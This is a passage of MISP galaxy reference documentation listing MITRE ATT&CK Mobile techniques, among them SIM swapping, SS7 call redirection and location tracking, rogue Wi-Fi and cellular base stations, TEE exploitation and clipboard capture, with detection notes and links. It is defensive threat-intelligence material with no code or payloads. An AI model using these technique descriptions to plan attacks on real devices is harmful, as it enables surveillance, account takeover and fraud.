Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Alternate Network Mediums - MOB-T1041"*

Table 2595. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Local Network Connections Discovery - MOB-T1024

On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Local Network Connections Discovery - MOB-T1024"*

Table 2596. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024
https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en

Device Unlock Code Guessing or Brute Force - MOB-T1062

An adversary could make educated guesses of the device lock screen’s PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Device Unlock Code Guessing or Brute Force - MOB-T1062"*

Table 2597. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062
http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode

Exploit TEE Vulnerability - MOB-T1008

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit TEE Vulnerability - MOB-T1008"*

Table 2598. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1008
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://usmile.at/symposium/program/2015/thomas-holmes
https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html
https://usmile.at/symposium/program/2015/ekberg
http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html

Rogue Wi-Fi Access Points - MOB-T1068

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153).

For example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Rogue Wi-Fi Access Points - MOB-T1068"*

Table 2599. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1068

https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf
https://blog.kaspersky.com/darkhotel-apt/6613/

Remotely Track Device Without Authorization - MOB-T1071

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.

Detection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Track Device Without Authorization - MOB-T1071"*

Table 2600. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1071
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html

Biometric Spoofing - MOB-T1063

An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Biometric Spoofing - MOB-T1063"*

Table 2601. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063
https://srlabs.de/bites/spoofing-fingerprints/
https://support.apple.com/en-us/HT204587

Jamming or Denial of Service - MOB-T1067

An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Jamming or Denial of Service - MOB-T1067"*

Table 2602. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1067
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html
https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html
http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf

Capture Clipboard Data - MOB-T1017

A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Capture Clipboard Data - MOB-T1017"*

Table 2603. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html

Access Contact List - MOB-T1035

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Access Contact List - MOB-T1035"*

Table 2604. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Stolen Developer Credentials or Signing Keys - MOB-T1044

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Stolen Developer Credentials or Signing Keys - MOB-T1044"*

Table 2605. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1044
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html
http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html

Network Traffic Capture or Redirection - MOB-T1013

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS

Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

Detection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Network Traffic Capture or Redirection - MOB-T1013"*

Table 2606. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/

Access Sensitive Data or Credentials in Files - MOB-T1012

An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data or Credentials in Files - MOB-T1012"*

Table 2607. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html

Modify Trusted Execution Environment - MOB-T1002

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.

Thomas Roth describes the potential for placing a rootkit within the TrustZone secure world

(Citation: Roth-Rootkits).

Detection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.

As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Modify Trusted Execution Environment - MOB-T1002"*

Table 2608. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1002
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf
https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf

Downgrade to Insecure Protocols - MOB-T1069

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Downgrade to Insecure Protocols - MOB-T1069"*

Table 2609. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1069
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html
http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf

Generate Fraudulent Advertising Revenue - MOB-T1075

An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Generate Fraudulent Advertising Revenue - MOB-T1075"*

Table 2610. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075

App Auto-Start at Device Boot - MOB-T1005

An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.

```
(Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples
belonging to 49 families of malware, and determined that 29 malware families and 83.3%
of the samples listened for BOOT_COMPLETED.
```

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="App Auto-Start at Device Boot - MOB-T1005"*

Table 2611. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005
http://ieeexplore.ieee.org/document/6234407

Commonly Used Port - MOB-T1039

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Commonly Used Port - MOB-T1039"*

Table 2612. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039

Manipulate App Store Rankings or Ratings - MOB-T1055

An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Manipulate App Store Rankings or Ratings - MOB-T1055"*

Table 2613. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055

Access Calendar Entries - MOB-T1038

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Access Calendar Entries - MOB-T1038"*

Table 2614. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Remotely Wipe Data Without Authorization - MOB-T1072

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

Detection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Wipe Data Without Authorization - MOB-T1072"*

Table 2615. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1072
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html
https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/

Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker’s control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).

Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052"*

Table 2616. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf]
http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Modify OS Kernel or Boot Partition - MOB-T1001

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

Detection: The Android SafetyNet API’s remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.

Samsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered "if a non-Knox kernel has been loaded on the device" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.

As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.

Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition - MOB-T1001"*

Table 2617. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered
https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf

Abuse Accessibility Features - MOB-T1056

A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse Accessibility Features - MOB-T1056"*

Table 2618. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056
https://www.skycure.com/blog/accessibility-clickjacking/

Insecure Third-Party Libraries - MOB-T1028

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Insecure Third-Party Libraries - MOB-T1028"*

Table 2619. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html
https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/

Download New Code at Runtime - MOB-T1010

An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis).

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView’s JavascriptInterface capability (Citation: Bromium-AndroidRCE).

On iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Download New Code at Runtime - MOB-T1010"*

Table 2620. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1010
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://www.internetsociety.org/sites/default/files/10%205%200.pdf
https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/
https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei

Exploit SS7 to Track Device Location - MOB-T1053

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).

Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Track Device Location - MOB-T1053"*

Table 2621. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf]
http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Malicious Third Party Keyboard App - MOB-T1020

A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.

Both iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Third Party Keyboard App - MOB-T1020"*

Table 2622. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020
https://zeltser.com/third-party-keyboards-security/

Exploit OS Vulnerability - MOB-T1007

A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit OS Vulnerability - MOB-T1007"*

Table 2623. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html

Remotely Install Application - MOB-T1046

An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Install Application - MOB-T1046"*

Table 2624. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1046
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html
https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/

http://www.vvdveen.com/publications/BAndroid.pdf

Modify cached executable code - MOB-T1006

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.

Sabanal describes the potential use of this technique in (Citation: Sabanal-ART).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Modify cached executable code - MOB-T1006"*

Table 2625. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006
https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf

Application Discovery - MOB-T1021

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary’s risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple’s App Store.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Application Discovery - MOB-T1021"*

Table 2626. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021
https://developer.android.com/reference/android/content/pm/PackageManager.html
https://andreas-kurtz.de/2014/09/malicious-ios-apps/

Lockscreen Bypass - MOB-T1064

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Lockscreen Bypass - MOB-T1064"*

Table 2627. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064
https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/

SIM Card Swap - MOB-T1054

An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="SIM Card Swap - MOB-T1054"*

Table 2628. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1054
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html
http://www.dos.ny.gov/consumerprotection/scams/att-sim.html
http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/
https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters

Location Tracking - MOB-T1033

An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Location Tracking - MOB-T1033"*

Table 2629. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html

Exploit via Charging Station or PC - MOB-T1061

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device’s battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.

Krebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit via Charging Station or PC - MOB-T1061"*

Table 2630. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1061
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html
http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/
https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf
https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/

Manipulate Device Communication - MOB-T1066

If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Manipulate Device Communication - MOB-T1066"*

Table 2631. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html

Rogue Cellular Base Station - MOB-T1070

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Rogue Cellular Base Station - MOB-T1070"*

Table 2632. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html

Repackaged Application - MOB-T1047

An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Repackaged Application - MOB-T1047"*

Table 2633. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
http://ieeexplore.ieee.org/document/6234407

Lock User Out of Device - MOB-T1049

An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Lock User Out of Device - MOB-T1049"*

Table 2634. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/

